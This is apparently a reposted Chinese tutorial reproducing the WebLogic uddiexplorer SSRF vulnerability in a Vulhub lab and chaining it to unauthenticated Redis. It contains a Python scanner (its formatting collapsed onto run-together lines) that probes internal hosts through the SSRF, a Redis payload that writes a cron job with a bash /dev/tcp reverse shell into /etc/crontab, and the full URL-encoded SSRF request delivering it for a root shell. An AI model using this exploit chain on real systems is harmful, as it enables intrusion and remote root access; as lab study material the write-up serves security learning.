当前位置:首页 > 编程笔记 > 正文
已解决

Weblogic ssrf漏洞复现

来自网友在路上 169869提问 提问时间:2023-11-06 17:06:38阅读次数: 69

最佳答案 问答题库698位专家为你答疑解惑

文章目录

  • 一、漏洞描述
  • 二、漏洞特征
    • 1.查看uddiexplorer应用
    • 2.漏洞点
  • 三、漏洞复现
    • 1.获取容器内网ip
    • 2.VULHUB Weblogic SSRF漏洞 docker中 centos6 无法启动的解决办法
    • 3.准备payload
    • 4.反弹shell

一、漏洞描述

SSRF

服务端请求伪造(Server-Side Request Forgery),是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。

SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片、文档等等。
输入A网站URL --> 发送请求 --> A服务器接受请求(没有过滤)处理 -->返回用户响应

【网站有个请求是www.baidu,com/xxx.php?image=URL】

安全的网站应接收请求后,检测请求的合法性

产生的原因:服务器端的验证并没有对其请求获取图片的参数(image=)做出严格的过滤以及限制,导致A网站可以从其他服务器的获取数据

例如:www.baidu.com/xxx.php?image=www.abc.com/1.jpg

如果将www.abd.com/1.jpg换为与该服务器相连的内网服务器地址

如果存在该内网地址就会返回1xx 2xx 3xx 4xx之类的状态码,不存在就会其他的状态码

SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有检测这个请求是否合法的,然后服务器以这个请求中的身份来访问其他服务器的资源。
Redis未授权访问

未授权访问漏洞可以理解为安全配置不当、在需要进行权限认证处未对当前用户进行权限识别,导致攻击者在没有获取到登录权限或未授权的情况下,对目标进行操作或者被信息泄露

Redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的策略,如配置防火墙规则避免其他非信任来源的IP访问,就会将Redis服务暴露在公网上;如果没有设置密码认证(一般为空)的情况下,会导致任意用户可以访问目标服务器下未授权访问Redis以及读取Redis数据。

二、漏洞特征

1.查看uddiexplorer应用

http://192.168.232.131:7001/uddiexplorer/
在这里插入图片描述

2.漏洞点

192.168.232.131:7001/uddiexplorer/SearchPublicRegistries.jsp
3.burp抓包访问
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:23
非http协议端口返回could not connect over HTTP to server
在这里插入图片描述

http协议返回
returned a 404 error code
在这里插入图片描述

三、漏洞复现

1.获取容器内网ip

通过burp爆破查看错误的不同显示,即可探测内网ip和端口。
在这里插入图片描述

或者使用以下工具探测

import thread
import time
import re
import requestsdef ite_ip(ip):for i in range(1, 256):final_ip = '{ip}.{i}'.format(ip=ip, i=i)print final_ipthread.start_new_thread(scan, (final_ip,))time.sleep(3)def scan(final_ip):ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')for port in ports:vul_url = 'http://192.168.232.131:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port)try:#print vul_urlr = requests.get(vul_url, timeout=15, verify=False)result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content)result2 = re.findall('but could not connect', r.content)result3 = re.findall('No route to host', r.content)  if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:print '[!]'+final_ip + ':' + portexcept Exception, e:passif __name__ == '__main__':ip = "172.19.0"  if ip:print ipite_ip(ip)else:print "no ip"

docker ps
docker exec -it 3f3c5f3a0692 “/bin/bash”
ifconfig

在这里插入图片描述

2.VULHUB Weblogic SSRF漏洞 docker中 centos6 无法启动的解决办法

修改文件:/etc/default/grub
GRUB_CMDLINE_LINUX_DEFAULT=“vsyscall=emulate”
update-grub 然后重启系统。

3.准备payload

test

set 1 “\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.52.2/2000 0>&1\n\n\n\n”
config set dir /etc/
config set dbfilename crontab
save

aaa
url编码后:
test%0A%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn%2A%20%2A%20%2A%20%2A%20%2A%20root%20bash%20-i%20%3E%26%20/dev/tcp/192.168.52.2/2000%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0Aconfig%20set%20dir%20/etc/%0Aconfig%20set%20dbfilename%20crontab%0Asave%0A%0Aaaa
在这里插入图片描述

4.反弹shell

使用表单提交发布
operator=http://172.21.0.2:6379/test%0A%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn%2A%20%2A%20%2A%20%2A%20%2A%20root%20bash%20-i%20%3E%26%20/dev/tcp/192.168.52.2/2000%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0Aconfig%20set%20dir%20/etc/%0Aconfig%20set%20dbfilename%20crontab%0Asave%0A%0Aaaa&rdoSearch=name&txtSearchname=&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
在这里插入图片描述在这里插入图片描述

成功反弹shell

在这里插入图片描述

注意系统时间要对上,否则可能会失败

查看全文

99%的人还看了

猜你感兴趣

版权申明

本文"Weblogic ssrf漏洞复现":http://eshow365.cn/6-33775-0.html 内容来自互联网,请自行判断内容的正确性。如有侵权请联系我们,立即删除!